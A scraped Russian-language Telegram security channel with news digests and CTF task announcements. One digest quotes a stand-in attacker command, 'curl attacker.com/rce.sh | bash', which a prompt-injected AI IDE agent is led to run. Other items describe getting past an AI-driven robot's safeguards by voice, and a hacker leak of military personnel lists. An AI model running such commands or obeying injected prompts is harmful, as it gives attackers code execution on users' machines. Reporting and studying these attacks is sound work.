БАГодельня
2.64K subscribers
247 photos
2 videos
175 links
Канал про разработку и безопасность: код, костыли, разбор задач, ревью и размышления.

Вещает руководитель отдела разработки: @ipatove

Сайт: https://bug-makers.ru

Поддержать проект: https://boosty.to/bugctf/donate
Download Telegram
Новостной дайджест #10

Сегодня у нас юбилейный дайджест — десятый!
Продолжаю и дальше делать для вас новости :)
(с) Дима aka 3T0T_FL4G_1MB4


🕊 Государственные шпионы среди нас
Помните как мы раньше ещё смеялись и шутили над тем, что голуби — это на самом деле правительственные дроны, которые шпионят за нами? Ну знаете, теперь уже как-то не смешно. Российская компания Neiry впервые представила «биодронов» в виде живых голубей. По сути это тот же БПЛА, которому можно задать, куда полетит наша птичка (только вместо привычных железных орлов, у нас тут киберголубь).
В эти самые биодроны вшивают нейроинтерфейсы и надевают рюкзачок набитый электроникой. По словам разработчиков, после имплантации можно буквально управлять птицей: задавать маршрут, заставлять её поворачивать, менять направление — мозг стимулируется, а голубь летит куда "скажут". Прицепленная к голубю камера, кстати, обещает картинку с детализацией до 0,1 м на пиксель, а сами «биодроны» могут налетать до 500 км в сутки.
Идея в том, что такие «естественные дроны» будут летать там, где обычный БПЛА могут засечь или сбить, и служить для мониторинга важных объектов — от линий электропередач до промышленных зон. Разработчики уверяют, что технология уже проходит финальные тесты.
В общем, если раньше казалось, что голуби странно на вас смотрят — теперь вы знаете, почему.
Источник

📹 Уязвимости видеорегистраторов
В наше время видеорегистратор в тачке — очень полезная вещь. Фиксирует происшествия или позволит вам уйти от обвинения в ДТП. Но, как оказалось, вас могут подслушивать через него. Исследователи выяснили: множество популярных моделей (от ряда производителей) можно взломать за считанные секунды — достаточно подключиться к их Wi-Fi (проводимые настройки или загрузка файлов часто используют дефолтные пароли).
После взлома злоумышленник получает доступ к видео и аудио, записанным внутри машины, а также GPS-меткам, что даёт возможность отследить маршрут владельца, его парковки, а иногда — увидеть номера авто, лица пассажиров, услышать разговоры в салоне.
Обезопасить себя можно, нужно сделать что-то из этого:
— купить видеорегистратор не оснащенный модулями LTE, Wi-Fi или Bluetooth;
— отключить эти модули, если они есть в регистраторе;
— отключить опцию «контроль парковки»;
— отключить запись звука;
— регулярно обновлять ПО у регистратора.

Источник

👨‍💻 Суета из-за увольнения
В США бывший контрактник IT-отдела решил отомстить работодателю после увольнения и сделал это максимально по-технарски. Уже не работая в компании, он пробрался в инфраструктуру через чужие учётки и запустил заранее подготовленный PowerShell-скрипт, который одним махом сбросил около 2500 паролей. Вся компания проснулась в хаосе: сотрудники по всей стране не могли войти в системы, подрядчики потеряли доступ, а службы поддержки захлебнулись обращениями.
После этого он попытался «размазывать следы»: удалял журналы событий, чистил логи и вычищал всё, что могло указать на момент и источник атаки. Компания в это время приводила инфраструктуру в чувство и считала ущерб, который в итоге приблизился к 900 тысячам долларов — от простоев до полного восстановления доступа по всей сети.
Но все же парень где-то просчитался и теперь его ждёт суд, и максимум по статье составляет 10 лет федеральной тюрьмы, плюс штраф до 250 тысяч долларов. Уволили в один день, а последствий хватит на десятилетие.
Источник

🐞 Бонус: Принтеры под атакой
Anonymous отчитались в X(Twitter), что взломали аж четыре российских принтера. Хакерам удалось изменить настройки дисплея принтера, напечатать текст и перегрузить энергонезависимую память принтера. Жесть!

На этом всё! Начните декабрь, как надо, до нового года всего месяц. Всем добра!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
177🔥6
Опубликованы новые задания
Релиз #9

Шесть новых задач доступны на площадке!

🟢 Welcome / Крипто-квиз

🟢 Crypto / Проклятый старый дом

🟢 Crypto / Послание от Француза

🟢 Stego / Отформатированный код

🟡 Forensic / Не доела ...

🟡 Web / Путь к флагу


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍7🔥42
Новостной дайджест #11

Поздравляю! Ещё одна неделя прошла, и завтра снова понедельник. Ну, а у нас одиннадцатый дайджест!


🤖 Очередная уязвимость от ИИ
Что, не удивлены уже? Опять уязвимость из-за нейросетей. На этот раз у Google Antigravity, этакая новая IDE на Windsurf, типа VS Code с ИИ Gemini. Интеграция Gemini 3 с IDE предполагала упрощение и ускорение программирования. Нейронка может сама писать код, управлять терминалом и браузером.
Только есть одна проблема... Исследователь Johann Rehberger ещё весной находил серьёзные уязвимости в оригинальном Windsurf — и, как оказалось, все эти баги тихо перекочевали в Antigravity.
В этой IDE включён режим Auto-Execute: если ИИ считает команду «безопасной» — она просто выполняется. Достаточно аккуратного промпта, чтобы убедить модель скачать и запустить произвольный скрипт curl attacker.com/rce.sh | bash. Результат — полноценный RCE на машине разработчика.
У пользователя с ником Deep-Hyena492 нейросеть вообще стёрла диск с файлами, файлов нет и в корзине. Это своего рода напоминание, что все команды от ИИ надо визуально проверять перед их выполнением, иначе можно неизбежно потерять не только данные, но и всю ОС.
Это самая яркая уязвимость в IDE, однако проблем гораздо больше — подробнее в источнике.
Источник

☠️ Кто стоит за срывом Договорнячка?
Хакерские группировки Beregini, KillNet и "Кибер Серп" постарались и вскрыли занавес, кто стоял за атакой на российский танкер MIDVOLGA-2. Они взломали ПК командования ВМС Украины. Из найденных документов стало понятно что, за атакой стояли служащие 385-й бригады морских беспилотников.
Окей, вы думаете на этом всё? Не-е-е-т, далеко не всё. Так же хакеры нашли и слили список моряков, а там есть и начальство, и операторы и матросы — все причастные.
Военнослужащие из этой бригады также совершали нападения на Крым, Новороссийск и Геленджик, рассказали хакеры.

Кто всё таки стоит за этим, вы можете узнать больше в источнике.
Источник


✈️ Баг 🐞 в ПО Airbus
У семейства Airbus A320 нашли баг в бортовых компьютерах при воздействии солнечного излучения. При сильной солнечной активности бортовые компьютеры могут начинать работать некорректно. Из-за этого по миру массово отменяли рейсы — большую часть самолётов пришлось загонять на проверку, пока Airbus не выпустит фиксы. А на порядка тысячи самолётов придётся полностью заменить бортовые компьютеры.
Но тут забавная ситуация, наши Airbus'ы не под воздействием этой ошибки, потому что... у нас не самые новейшие обновления ПО... Обновление программного обеспечения на Российских самолетах последний раз было в 2022 году, и проблема затрагивает только те воздушные судна, у которых самые свежие обновления.
Саму ошибку нашли в ПО, когда расследовали инцидент, где самолёт JetBlue Airways резко терял высоту. Была совершена аварийная посадка во Флориде, тогда обошлось без жертв, но 15 человек было с травмами.
Источник

На этом всё! Хорошей вам кибер-недели, и помните: не полагайтесь на ИИ, они могут стереть вам диск. Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
195👍4🔥4
Опубликованы новые задания
Релиз #10

Пять новых задач доступны на площадке!

🟢 Welcome / Стул 0. Начало

🟢 Forensic / Слив флагов

🟡 Misc / Вайб Шелл

🟡 Misc / Побег с помощью Brainfuck

🟡 Stego / I feel fantastic


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍6🔥44
Новостной дайджест #12

Привет-привет всем! К нам постучался сегодня новостной дайджест №12, начнём же!

🤖 Люди против автоботов
Вы, наверное, уже заметили, как я не люблю внедрение нейронок куда попало, но вот это... Это поразительно... В Stanford провели эксперимент, который многие пока недооценивают по масштабу. Учёные решили сравнить профессиональных хакеров и ИИ не в лабораторной среде, а в живой корпоративной инфраструктуре — с реальными машинами, сервисами и последствиями.
Эксперимент был максимально приближен к реальности:
— 10 профессиональных pentester-ов
— живая университетская сеть
— около 8 000 реальных машин
— 12 подсетей
— продакшн-системы и реальные пользователи

В ту же среду они запустили автономного AI-агента под названием ARTEMIS. Результат оказался ошеломляющим.

ARTEMIS превзошел 9 из 10 человеческих экспертов:
— 9 уязвимостей
— 82% подтвержденных находок
— 2-е место в общем лидерборде
— Полностью автономная работа

Почему ИИ оказался эффективнее:
— Люди работают в одном потоке, а ARTEMIS параллельно атаковал несколько хостов
— Люди застревали в тупиках, а ARTEMIS вёл идеальный трекинг задач и памяти
— Люди страдали от кривых веб-интерфейсов, а ARTEMIS просто игнорировал браузер и бил напрямую через curl
— Так же ARTEMIS нашёл несколько уязвимостей, которые не обнаружил ни один человек

К счастью, ограничения у машины все же есть:
— Бот пока не умеет выполнять атаки, завязанные на GUI
— У машины более высокий уровень false positive, чем у человека

Главный вывод: наступательная кибербезопасность перестаёт быть исключительно человеческой профессией, в неё уже вступает конкурент в виде нейронок, и они начинают выигрывать.
Ссылка на полное исследование от Cornell University в источнике.
Источник

👻 Roblox вернулся! Или нет?
Помните как у нас в стране заблокировали игру, под названием Roblox? Столько шума было вокруг него, и не без причины, т.к. Российские пользователи составляли огромную часть этой игры, и без них режимы внутри игры опустели на большую долю. Такая игрушка больше для детей, но по мнению властей там творился сущий ад. Казино, разврат и вымогательство, ужас. Так вот, чтобы поиграть, теперь нужно заходить из другой страны.
Но тут "добрые" умельцы уже обошли это, и теперь есть сайт, который позволяет заходить в игру без него. Нужно всего лишь ввести данные учётки от Roblox, и всё... И всё, аккаунт пропал. Да, это фишинговый сайт, никакой игрушки там и нет. Нацелено это больше на богатеньких игроков, у которых есть игровая валюта, предметы или аксессуары, может даже популярные игры внутри самого Roblox.
Источник

👮‍♀️ Это всё для вашей безопасности
— Вызывайте полицию! У нас незнакомцы в доме!
— Мы и есть полиция, мы пришли установить вам наше ПО для вашей безопасности.

Наверное так сейчас происходит в Германии, когда домой приходит полиция. В Берлине полиции официально разрешили секретно проникать в квартиры, чтобы устанавливать так называемый «государственный троян» — шпионское ПО для слежки. Речь идёт не об онлайн-взломах, а о самом настоящем физическом доступе к жилью без уведомления самого владельца (только если удалённо установить это же ПО не получилось).
Такой троян позволяет читать сообщения, отслеживать переписку в мессенджерах и получать доступ к данным на устройстве. Формально всё это подаётся как мера для борьбы с тяжкими преступлениями и терроризмом, но по факту полиция может войти, поставить ПО и уйти, а человек об этом даже не узнает.
Власти утверждают, что доступ будет строго контролироваться и применяться только с санкции суда, однако так ли на самом деле это... Теперь мы знаем, как выглядит настоящая европейская свобода и демократия.
Источник

От последней новости меня даже слегка потряхивает. Стоит уже закругляться... Не болейте и хорошей вам недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
19🔥75👍3
Aperi'Solve с большими лимитами

📖 Aperi'Solve – опенсорсный инструмент, который анализирует картинки на предмет стеганографии – скрытых данных. Для этого выполняются проверки на утилитах:
exiftool
binwalk
zsteg
steghide
outguess
foremost
pngcheck
– strings

📌 Сам Aperi'Solve имеет веб-интерфейс и для его использования не нужно ничего устанавливать из перечисленного списка программ, они запускаются на сервере, а результат работы отображается в браузере.
Оригинальный код находится в репозитории и запущен по адресу https://www.aperisolve.com.
Но у оригинальной веб-версии есть ограничение на обработку файлов в 1 Мб, а также сам сервис часто не доступен из России.
Чтобы немного подправить ситуацию и помочь тем, кто ранее пользовался, но испытывает трудности теперь, сервис развернут на русском VPS. Лимиты файлы увеличены до 50Мб. Сервер, справляется с такими размерами файлов, судя по тестам и нагрузке, которую они создают. Но пока до конца не понятно, как поведет себе если им постоянно пользоваться и с большими файлами. Но, думаю, что параллельно врядли будет много людей его «мучать» и должно работать, Однако, если будут проблемы с доступностью, то пишите в чат или мне в личку(@ipatove) – будем чинить и настраивать.

❗️ Сервис находится тут: https://aperi.bug-makers.ru

📌 P.S. Но я бы рекомендовал установить все эти же приложения, что запускаются на сервисе, и себе на компьютеры, так удобнее и проще пользоваться. Да и к тому же, кроме стандартных запусков анализов, у каждой программы есть еще много дополнительных флагов, которые совершают дополнительное проверки. А этот сервис с веб-интерфейсом подходит как базовый чек-лист для поиска стеганографии, или же как инструмент для анализа в ситуациях, когда рядом нет подготовленного компьютера.

———
#⃣ #CTF #Stegano

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥953
Опубликованы новые задания
Релиз #11

❗️Внимание!
Этот и следующие три релиза задач будут в урезанном виде — по 2-3 штуки. После Новогодних праздников вернемся в обычный режим. Пока предновогодняя суета и декабрьские рабочие дедлайны не оставляют времени ни на что другое. Да и участникам уже пора заняться поиском подарков к НГ и побольше провести времени с близкими в канун праздников, а не за компуктерами сидеть)

Две новые задачи доступны на площадке!

🟢 Welcome / Анализ трафика

🔴 OSINT / Руины Некромосов


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
75👍5🔥1
Новостной дайджест #13

Всем привет! Это опоздавшие новости с воскресенья, или же дайджест #13, приступим же.

🍓 Утечка пользовательских данных с Pornhub
Снова большая утечка, и на этот раз пострадал один из самых крупных 18+ сервисов в мире — Pornhub. Утечка составила более 94ГБ данных, а постарались здесь хакеры из ShinyHunters. В результате инцидента в открытый доступ попали пользовательские данные, комментарии, метаданные и многое, что пользователи предпочли бы не видеть в сети (просмотренные URL видео, названия роликов, связанные ключевые слова и временные метки посещений).
Утекли и данные о типе активности. Тип активности, это данные о просмотре/скачивании видео и просмотра самого канала. К тому же, хакеры заявляют что туда попала и история поиска. Короче компромат жёсткий. Хакеры требуют выкуп у Pornhub и угрожают, что готовы обнародовать данные.
Источник

✉️ Охота на почтовые ящики ukr[.]net
Хакеры из BlueDelta (aka APT28/FancyBear) вели масштабную кампанию по фишингу учёток пользователей UKR[.]NET (популярный почтовый сервис Украины) целый ГОД. Атаки были активны с июня 2024 до апреля 2025 года, и это не случайные попытки, а хорошо организованная разведывательная активность.
Хакеры отказались от старых схем с взломанными роутерами и перешли на маскировку через легитимные прокси-сервисы вроде ngrok и Serveo — это позволяло скрывать настоящие сервера и держать кампанию в рабочем состоянии практически без пауз.
В ход шли десятки цепочек фишинга с поддельными страницами входа на UKR[.]NET, размещёнными через Mocky API и бесплатный хостинг, а также короткие ссылки и обратные прокси для маскировки инфраструктуры. Сайты выглядели как реально работающие формы входа и собирали:
– логины и пароли
– коды двухфакторной аутентификации
– IP-адреса жертв
Кроме стандартного фишинга, злоумышленники использовали PDF-файлы, замаскированные под уведомления о подозрительной активности — внутри был «красивая» ссылка для смены пароля, которая вела на фейковую страницу.
Источник

🥷 Привет из КНДР
В Amazon вычислили северокорейца, который устроился к ним удалёнщиком сисадмином, выдавая себя за сотрудника из США. Его выдали не документы и не собес, нет. Задержка нажатий клавиш на клавиатуре. Да, вот так.
Служба безопасности заметила, что лаг между нажатием клавиши и получением сигнала был слишком большим — больше 110 миллисекунд. Для обычного удалённого работника из США это нехарактерно: такие задержки указывают, что ноутбук используется как прокси, а реальное управление идёт откуда-то ещё. Проверка показала, что устройство физически находилось в Аризоне, но управлялось удалённо операторами из Северной Кореи.
Подобные случаи не редкость. С апреля 2024 года компания пресекла более 1800 попыток трудоустройства северокорейских IT-специалистов под чужими личностями, и их число продолжает расти. Цель таких схем — зарабатывать валюту для КНДР, а иногда и заниматься шпионажем или саботажем. Поэтому их и ищут.
Источник

На этом новости — всё. Хорошей вам завершающей полной недели в этом году! Встретимся в следующее воскресенье!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍1366
Опубликованы новые задания
Релиз #12

Предновогодний релиз, со всеми вытекающими — закончить и протестировать успели только одну задачу. Но самая сложная и суетная пора подходит к концу, 25й год уже на финишной прямой.
Следующий релиз так же будет на пару задачек, пока все, в том числе и команда БАГодельни, отдыхают и празднуют НГ.
После каникул продолжим во всю силу — собирать пачки задач размером побольше.

Одна новая задача доступна на площадке!

🔴 Web / Дуглас Муглис


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1🎉6🔥441
Новостной дайджест #14

Привет привет всем, надеюсь вы уже запаслись мандаринами, потому что это последние новости в этом году! Начнём же.

💴 Крипта: итоги года, от которых больно
Chainalysis выкатили статистику по кражам крипты за 2025 год, и тут интересно прослеживается одна страна... Сначала амазон, и тут оказывается крипта еще...
Основную часть криптокраж в 25-м году обеспечили группировки, связанные с Северной Кореей — прежде всего Lazarus Group и аффилированные с ней команды. По оценкам аналитиков, на них пришлось более $2 млрд из общего объёма похищенных средств. Всего за этот год хакеры украли свыше $3,4 млрд в криптовалюте, и большая часть этой суммы была получена не через массовые скамы, а за счёт нескольких точечных атак на централизованные сервисы.
Крупнейшим инцидентом года стал взлом биржи Bybit, где злоумышленники вывели около $1,5 млрд. Атака, по данным расследований, включала компрометацию внутренних процессов, доступ к приватным ключам и использование социальной инженерии.
Отчёт подчёркивает, что северокорейские группы изменили тактику:
— атак стало меньше,
— цели выбираются реже,
— но каждая операция нацелена на максимальный финансовый эффект.
Главными целями стали криптобиржи, кастодиальные сервисы и инфраструктурные провайдеры, где сосредоточены крупные резервы и остаётся высокий человеческий фактор.
Аналитики Chainalysis отмечают, что, несмотря на рост защищённости DeFi-протоколов, централизованные платформы остаются самым уязвимым звеном. Именно через них проходит большая часть «мега-взломов», формирующих общую статистику года. За графиками прошу в источник.
Источник

🥷 RCE в MongoDB
В экосистеме MongoDB нашли RCE-уязвимость, завязанную не на самой базе напрямую, а на популярной Python-связке. Уязвимость позволяет удалённо выполнить произвольный код за счёт небезопасной обработки данных при сериализации. Уязвимость получила идентификатор CVE-2025-14847. Достаточно передать специально сформированный объект и сервер сам выполнит то, что отправили в объекте. Особенно неприятно то, что уязвимость легко вписывается в реальные сценарии: API, микросервисы, фоновые задачи. Всё, что принимает данные «извне» и доверяет им чуть больше, чем стоило бы.
«Эксплуатируя реализацию zlib на сервере, атакующий может получить неинициализированную память из хипа без авторизации. Мы настоятельно рекомендуем как можно скорее обновиться до исправленной версии», — предупредила команда безопасности MongoDB.

Патчи уже вышли, и разработчики настоятельно рекомендуют как можно скорее обновиться до версий 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32 или 4.4.30. Если не получается обновить, то следует отключить сжатие zlib в MongoDB Server, запустив mongod или mongos с параметром networkMessageCompressors или net.compression.compressors.
Источник

👨‍🦳Unix V4: привет из 1973-го
И напоследок — новость для тех, кто любит археологию. Обнаружена единственная уцелевшая копия Unix V4, про которую просто забыли на 52 года. Система была написана в Bell Labs в начале 70-х и долгое время считалась утраченной. Интересно и то, как система вообще уцелела. Архив просто пролежал забытым десятки лет, пока не оказался в руках энтузиастов, которые поняли, что перед ними — не просто старый код, а редкий исторический артефакт.
Лента с Unix v4 попала к Мартину Ньюэллу — он разработал оригинальную версию знаменитого чайника, ставшего неотъемлемой частью 3D-программ по всему миру. А ещё в коде встречается столь же знаменитый комментарий «никто не ждёт, что вы это поймёте» (you are not expected to understand this).

Теперь её удалось восстановить, изучить и даже запустить в эмуляторе. Именно в таких версиях формировались идеи, которые до сих пор живут в Linux, BSD и macOS. Можно даже пощупать ее самому, если кому интересно, но необходимо создать загрузочную среду и скомпилировать систему для неё.
Источник

Вот и всё, новости подошли к концу. Встретимся уже с вами в новом году! Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍1143👎1
This media is not supported in your browser
VIEW IN TELEGRAM
С Новым Годом!

📖 Финиш 2025-го
Очередной год незаметно пронесся. В ежедневной суете сложно разглядеть какие-то достижения и результаты, всё кажется рутиной. Но иногда нужно притормозить, перевести дух и оглянуться назад, чтобы осознать весь проделанный путь. Большое видно только с расстояния. Так что предлагаю подвести итоги года и посмотреть всем вместе, что мы успели натворить в 2025-м году.

📌 Площадка с CTF-задачами
Главным достижением БАГодельни в этом году я считаю запуск площадки с CTF-задачами. Для меня это важное событие, оно помогло познакомиться с множеством новых людей. Некоторые стали друзьями и частью команды, и теперь помогают развивать площадку. Другие стали хорошими знакомыми, с кем можно поболтать и пошутить. А есть и те, кто подсказывают и помогают узнавать новое.
Спасибо всем, кто помогает делом или советом, кто решает наши задачи, комментирует и критикует. Это всё помогает учиться, развиваться и делать площадку только лучше.

📌 Итоги года
В конце года принято подводить итоги и дарить подарки.
Несколько раз переписав этот пост, так и не получилось понятно оформить и уместить всю статистику в один телеграм-пост. Поэтому собрал страничку, которая надолго останется доступна в сети и будет архивом результатов этого года.
На странице собрана краткая предыстория площадки, статистика по задачам, участникам, флагам и, конечно же, скорборд.

❗️ Статистика
Посмотреть итоги года в цифрах и актуальный на 31 декабря 2025 года, 12:00 МСК скорборд можно тут: https://2025.bug-makers.ru
Не удержался от баловства и добавил на страницу пасхалку — можно найти фулл с Пикси, если постараться.

❗️Призы для ТОП-10
А ещё хочется отметить небольшими призами топ-10 участников площадки. Не удалось вовремя организовать что-то физическое, но и оставлять без подарков тоже не дело.
Подарки больше символические, но всё же, надеюсь, их будет приятно получить, хотя бы на память:
– За первое место – премиум в телеграм на 1 год
– За второе место – премиум в телеграм на 6 месяцев
– За третье место – премиум в телеграм на 3 месяца
– За 4–10 места – подарок в телеграм в виде кубка

🏆 Term1nal
🥈 rst
🥉 velvetway
4. demonstrik
5. burnsky
6. OKOB
7. credo123
8. evtsapkov
9. skydaemon
10. Nuit


Все подарки уже разослал перед публикацией этого поста.

❤️ С Новым Годом!
А теперь без лишнего официоза и громких слов хочу каждому пожелать — всего самого наилучшего, счастья, тепла, здоровья! Пусть у вас всё получается в Новом году!

📌 Итоги: https://2025.bug-makers.ru

———
#⃣ #Итоги #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1🎉198🍾75👾1
Опубликованы новые задания
Релиз #13

Первый релиз в 2026-м году — пара задачек для разминки, чтобы немного проснуться и придти в чувства после празднования Нового Года.

Две новые задачи доступны на площадке!

🟢 OSINT / Фуррисибирск

🟡 Misc / 1043 грамма PLA


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
19🔥44
Новостной дайджест #15

Новый год уже идёт как четыре дня. Салаты доели? Если нет, то вот вам ещё порция, в меню у нас новости!

🗣 Голосовой эксплоит
Наткнулся тут на Скайнет… то есть на весьма необычный эксплойт. Суть такая: специалисты обнаружили уязвимость, позволяющую отдавать роботу команды голосом, а затем распространять этот доступ на другие машины.
Эксперимент проводили на коммерческом роботе Unitree стоимостью около 100 тысяч юаней, оснащённом ИИ-агентом. Исследователям удалось обойти защитные механизмы и полностью взять его под контроль. На тот момент робот был подключён к интернету, но на этом веселье не закончилось. Второй робот, который вообще не был подключён к сети, получил тот же эксплойт по беспроводной связи (Bluetooth) и также оказался скомпрометирован.
Страшновато, не так ли? Чтобы показать, к чему это может привести, исследователи решили отдать машине команду — ударить манекен на сцене. Робот подошёл к цели и без колебаний выполнил приказ.
У Unitree и раньше были проблемы с безопасностью, и Bluetooth уже фигурировал среди уязвимых мест. А теперь представьте ангар, полный таких машин: один хакер подходит к одному роботу, взламывает его, настраивает на агрессию — и передаёт эксплойт остальным.
Пожалуй, это действительно стоит пропатчить.
Источник

🔒Resecurity больше не secure’ит
Новый год — новые атаки, не так ли? Американская компания Resecurity, работающая в сфере кибербезопасности, пострадала от… кибератаки. Хакеры из группы Scattered Lapsus$ Hunters опубликовали результаты взлома в своём Telegram-канале, заявив, что получили абсолютно ВСЁ:
«Мы взяли всё:
— внутренние чаты и логи;
— полные сведения о сотрудниках (имена, почты, токены и т.д.);
— информацию об угрозах, отчёты, сбоях и процессах компании;
— детальные файлы клиентов;
— планы и переписки из чатов».

В качестве доказательств были опубликованы скриншоты файлов, а также ссылка на Pastebin с содержимым.
Однако Resecurity отрицает факт взлома и утверждает, что произошедшее было honeypot’ом — специально созданной средой для приманивания и наблюдения за атакующими. По словам компании, команда DFIR на раннем этапе обнаружила признаки разведки и зафиксировала несколько IP-адресов, связанных с злоумышленником, включая адреса из Египта и сервисов Mullvad VPN. Развязка истории довольно весёлая, но сюда не уместится, поэтому прошу — в источник.
Источник

🐴 Троянский конь
Существует тонна разных антивирусов: MalwareBytes, Kaspersky, Dr.Web и много-много других. Все они так или иначе могут защищать от различного вида вирусов. Но одна хакерская группа решила бросить вызов защитникам вашего ПК. Давайте же разберёмся, как новый вариант трояна может попасть в компьютер.
Троян начинает свой путь с фишингового письма под видом PDF-файла; пользователь открывает этот самый файл иии... Открывается PDF-файл, да. Но это ложь: вместе с этим файликом запускается и исполняемый файл mshta.exe, который расшифровывает вредоносный скрипт и инджектит его прямиком в оперативную память. PDF-файл нужен лишь для того, чтобы всё было скрытнее.
Только этот троян более умный, чем его братья. Он создан так, что может определять систему и адаптироваться под неё. Но он не только сканирует систему — он ищет, какой у вас антивирусник установлен на ваш ПК, т.к. к разному продукту — свой подход.
Источник

Доели новости, доедайте дальше салаты. Но не переедайте! Всем удачи!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
110🔥53
Опубликованы новые задания
Релиз #14

❗️Внимание!
Обновлена старая задача Дуглас Муглис.
– Убрали Wordpress, который был лишь декорацией
– Хинты удалены
– Сложность понижена до Medium
Баллы и таск на скорборде не менялись. Тем, кто ранее решил на уровне Hard, заново решать не нужно, и так молодцы :)

Две новые задачи доступны на площадке!

🟢 Rev / Прошлогодний флаг

🟡 OSINT / Гондольеры


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
65🔥3
Новостной дайджест #16

Бррр, погодка, конечно, морозная. Возьмите себе чаю и закрутитесь в пледик, потому что мы начинаем нашу сводку!

📸 Утечка базы Instagram*
Может быть, вы в курсе недавних новостей о том, что Instagram был взломан, и утечка затронула ~17.5 миллионов аккаунтов. В эту утечку вошли следующие данные:
— ники пользователей;
— электронные почты;
— номера телефонов;
— физические адреса пользователей.

Компания Malwarebytes подтвердила утечку. Слитая база гуляет по даркнету, и она довольно-таки в хорошем спросе.
После этой утечки многие пользователи уже получали сообщения о сбросе пароля. Такие сообщения могут быть как реальными от корпорации, так и фишинговыми, направленными на полный угон вашего аккаунта.
Тем не менее, Meta заявила, что уже исправила возможность третьей стороне запрашивать сброс пароля, и что никакой утечки не происходило.
Если вы подозреваете, что ваш аккаунт может быть под угрозой — немедленно включите двухфакторную аутентификацию! Также не спускайте глаз, всегда смотрите, от кого пришло сообщение.
Поэтому у Пикси нет инсты, а только OnlyFans 😁 Он расположен на поддомене bug-makers.ru — кто ищет, тот всегда найдет.
*Запрещена в России; принадлежит компании Meta, признанной экстремистской организацией и запрещённой в РФ.
Источник

👨‍💻 Макось под ударом
Добро пожаловать в новый мир, здесь у нас уже нейронки будут оставлять свой след везде. Так, специалисты из Mosyle обнаружили вредоносную кампанию под macOS, где они зафиксировали первый в мире «зловред» с отпечатком генеративного ИИ. Причём на форумах ещё год назад юзерами обсуждалось использование нейросетей для написания таких вредоносных кодов.
За такую скрытную работу вредоноска кампания получила название SimpleStealth, маскируется под Grok и распространяется через фейковый сайт, где предлагают скачать установщик. Короче говоря, всё выглядит как обычный Grok и ведёт себя также, но под капотом — криптомайнер, и ведёт он себя максимально тихо:
— запускается только если система бездействует;
— движение мышки или щелчок по клавиатуре заставляет майнер остановиться;
— маскировка под системные процессы типа kernel_task и launchd.

Окей, здесь всё как у обычного майнера, где же здесь нейронка? Везде, ребят. Постоянные комментарии, повторение логики кода, и… смесь португальского языка с английским. То есть зловред настолько тихий и эффективный, написать может уже кто угодно, достаточно задать нужные промпты и навести ИИ на «правильный» путь.
Источник

🐧 Вход в Linux без спроса
Сначала macOS, а теперь Linux? Ну так получилось. Здесь нашли уязвимость в утилите TLP (оптимизация энергопотребления). Утилита работает с root-правами, но в механизме аутентификации нашлась ошибка в логике, которая позволяет целиком и полностью обойти проверку прав. Демон должен проверять, кто отдаёт команды, но из-за ошибки любой пользователь может взаимодействовать с ним, а отсюда — менять настройки питания как будто с root-правами.
Одна уязвимость есть, окей, но тут есть ещё одна! Только теперь уже более жёстко. Есть один механизм, называется profile hold, он позволяет временно зафиксировать профиль питания и совсем без какого-либо подтверждения. Как итог — создание огромного количества блокировок без рута. А это даёт возможность к DoS-атаке от переизбытка записей.
Источник

Вот такое вот интересное начало года, всем хорошо провести время, и хорошей вам недели! Удачи!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1126🔥5
Опубликованы новые задания
Релиз #15

Две новые задачи доступны на площадке!

🟢 Web / Безвыигрышная лотерея

🟡 Stegano / 496 отличий


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

